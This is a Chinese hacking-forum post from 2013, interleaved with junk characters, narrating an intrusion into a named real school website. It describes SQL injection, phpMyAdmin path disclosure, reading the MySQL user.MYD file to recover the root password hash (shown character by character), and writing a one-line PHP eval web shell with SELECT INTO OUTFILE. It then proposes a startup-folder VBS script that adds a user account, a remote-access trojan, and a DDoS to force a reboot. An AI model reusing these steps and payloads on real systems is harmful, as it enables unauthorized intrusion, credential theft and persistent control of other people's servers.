第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
0 R- {# S# g% _; ^发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！# Q# [# z# O: N. ?
5 h. ^) h- j% x! c- B) R4 L0 B; u6 x
9 n1 Y1 v# J( H! E, G) ]
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
* p; n+ \) b l! {9 z! u
# j. s2 y7 B' _那么想可以直接写入shell ，getshell有几个条件：
9 l% y+ L0 A9 n1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF
9 Q& S1 t$ s: @; z# n9 X0 v" |# |9 J9 L9 M _. ]$ }
试着爆绝对路径： : C ]9 [" e/ {* j( x( r2 a
1./phpMyAdmin/index.php?lang[]=1 % B% G2 [0 N+ G9 O0 O5 f
2./phpMyAdmin/phpinfo.php
2 ~' ~5 J- L, [# W- H- Y3./load_file()
2 r+ o$ \3 o% c+ [7 T* _& q4./phpmyadmin/themes/darkblue_orange/layout.inc.php
G! ?* M' u5 Y" |5./phpmyadmin/libraries/select_lang.lib.php
' J2 @( }! a: c U# a6 ]( `6./phpmyadmin/libraries/lect_lang.lib.php
* H2 F: h& T! `1 B# {6 x1 ?$ a8 A: H7./phpmyadmin/libraries/mcrypt.lib.php
% a% C& j8 Q7 @8 b8./phpmyadmin/libraries/export/xls.php
/ I- u8 K" L8 L5 X# Z( D% n+ c4 P) r4 `# c) I0 X- a. [. A4 o" O
均不行...........................
; I$ ~2 c1 V5 n5 F/ ^& N$ L* G4 l5 _
5 I* ^1 ~: d. E- H+ `御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php " X# U) K# d3 B- d. w1 D
; c2 }/ z7 @: p
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin ) c" }) Q' H" R5 M
: G" q0 t/ g' ~0 a2 A R7 W# A
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败 6 _* W& z! O. o
* e2 I) F" D: s* C: H$ _( Y敏感东西： http://202.103.49.66/Admincp.php 社工进不去...........
/ i9 ~3 P! G% b& I$ @$ H$ N* s& K( F; F9 G& \
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell + `& J) B0 r# O- U( r; j
; _1 r, B4 J9 [! b0 }
http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini
$ G7 y- Y0 ?% u
, \" X3 n3 \0 \6 z# K8 t自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
% ] i( O7 ~. |* K' z' `# y0 |) }- j% ?
成功读到root密码： / A: C7 A* r, L* _- ]3 u8 ]/ W1 _
; v) u* B, E5 b( @* u0 N7 g17---- r(0072) - u. ~0 x* g. j8 }5 f' s: P& V/ y- G
18---- o(006f) # W$ ?! W& z# ~7 J7 O; O+ }
19---- o(006f) 8 x9 y# i0 m0 \) @0 M4 X0 B3 h' I1 L
20---- t(0074) / [3 m' l1 S/ I* n- N) n' {
21---- *(002a)
6 {" A, |& F2 @: Z: r22---- 8(0038)
2 F0 j" |) c0 Y, w23---- 2(0032) ) }6 m b8 I# J" K9 u2 `- Z1 T. ?
24---- E(0045) # F1 d" j. r+ q |
25---- 1(0031)
9 J0 [8 T1 Q$ @& h& V- w4 v26---- C(0043) 1 ~7 L5 B, B6 _7 p: P1 g
27---- 5(0035)
7 S4 Y2 O& }3 L% w28---- 8(0038)
7 T# a3 N2 T/ r6 T+ @29---- 2(0032) 0 c# h6 W1 i! o" f& @+ z% F( q* h
30---- 8(0038) - p3 k* h0 ]0 {" x1 C! j* U
31---- A(0041) , ^7 n. C) Q1 a2 @/ }
32---- 9(0039)
% {! n0 x T1 H8 }! r9 B7 X33---- B(0042)
9 j* L3 a" P5 Q8 A$ z j34---- 5(0035) - K ~" A- I8 H8 I
35---- 4(0034)
+ \# A7 O% l* H: f6 [36---- 8(0038)
- d1 J1 u% }9 i) Z# f37---- 6(0036) 9 @; z" i/ i* [5 s9 e
38---- 4(0034) 6 y& x4 ^) p7 g1 b$ s$ [. v
39---- 9(0039)
/ L I" X4 N) R" X, z5 w. C) U" F40---- 1(0031)
. E& J, k- `- ~8 B41---- 1(0031) 6 s) Y/ L6 J. {$ P9 e# {
42---- 5(0035) , H0 \4 c. p& i6 W1 G- q, n
43---- 3(0033)
2 @; R- E# j3 H! B; z44---- 5(0035) 4 W: Z) F! g. k( J
45---- 9(0039) 9 q/ a7 s2 R( J+ c$ d. `
46---- 8(0038) 3 J$ S* ]- i! i5 [* ?/ {) y# q
47---- F(0046) : E( p* t; \* {+ f0 O( w# q8 [
48---- F(0046)
/ l- {$ W/ F6 v2 d) q49---- 4(0034) * a1 Q: ?& N3 |9 {
50---- F(0046)
/ b6 k) T) D. G( m51---- 0(0030)
, w/ }7 B7 ]. A, b8 `; X52---- 3(0033) + q/ q0 U5 f" H7 c! t6 A
53---- 2(0032)
# r& Y7 W X; H7 Y. N P8 c54---- A(0041) 1 p& h8 e- }* A5 I. h
55---- 4(0034)
8 w4 {; L% `! L* V56---- A(0041) 7 P/ \1 \* v9 z/ i
57---- B(0042) 7 I- j* ~) ^1 H% o+ @, G2 k" c6 H
58---- *(0044) $ q2 E( d* y: n4 l2 K1 ~
59---- *(0035) 7 ` h% c' C2 {$ X
60---- *(0041) + [! m8 j- f# q4 \
61---- *0032)
- b8 K) Z) `' s% X1 W+ P7 X6 N/ I2 _; e$ f6 B8 m J
解密后成功登陆phpmyamin : E ^) l* x# S$ x; _+ D& N9 ^5 g
7 A* }* |7 D; ^! x# y: V
& u$ j, j6 W2 U# Y7 T h; P $ M9 ?" R' o/ }' N
) l. ]9 M2 h( S% k0 `0 g
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php' 0 J7 I3 k" x- [6 ~& f8 u5 s
2 U* ^" p# Y) U9 e! [4 a0 X
成功执行，拿下shell，菜刀连接：
/ E/ S+ A B! U) a' j
, l# i3 d& @! M6 v( ]6 d服务器不支持asp,aspx,php提权无果................... 5 R" r, d% k/ Q% L6 m' @8 Q* I
6 ?0 \( E. C- ^( l2 C
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里： * `( l- m- E) H% K, N6 l4 O
服务器上已经有个隐藏帐号了 7 S3 F+ ^% q; o2 {$ U
别名 administrators. {6 h% L1 D. s% C. W* P
注释 管理员对计算机/域有不受限制的完全访问权
" W3 [) x) p# S成员
" N# l+ s- m4 Z' K. t+ [-------------------------------------------------------------------------------
/ _1 k( ^! o( H- k7 A7 h5 F4 ^admin
! n! d2 T% _. s, h/ _Administrator
# h4 o6 a( I. O- s2 l( Oslipper$
0 \' N# B, D- _" F3 }& zsqluser c4 C8 n# a. V
命令成功完成。 + I3 Z4 ]* Q0 O$ E0 o
$ F% A. w8 m3 X2 p
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
: I& Y$ g7 i4 p: v
; }+ B: ]' X, oddos服务器重启，不然就只能坐等服务器重启了...............................6 B$ c! w0 _- p4 Z# F
( P5 v2 O" W9 e& t4 g" a6 f, f# E 2 |. ^9 R1 E/ b% Q a! }' x
| 
发表于 2013-1-11 21:32:15
收藏
支持
反对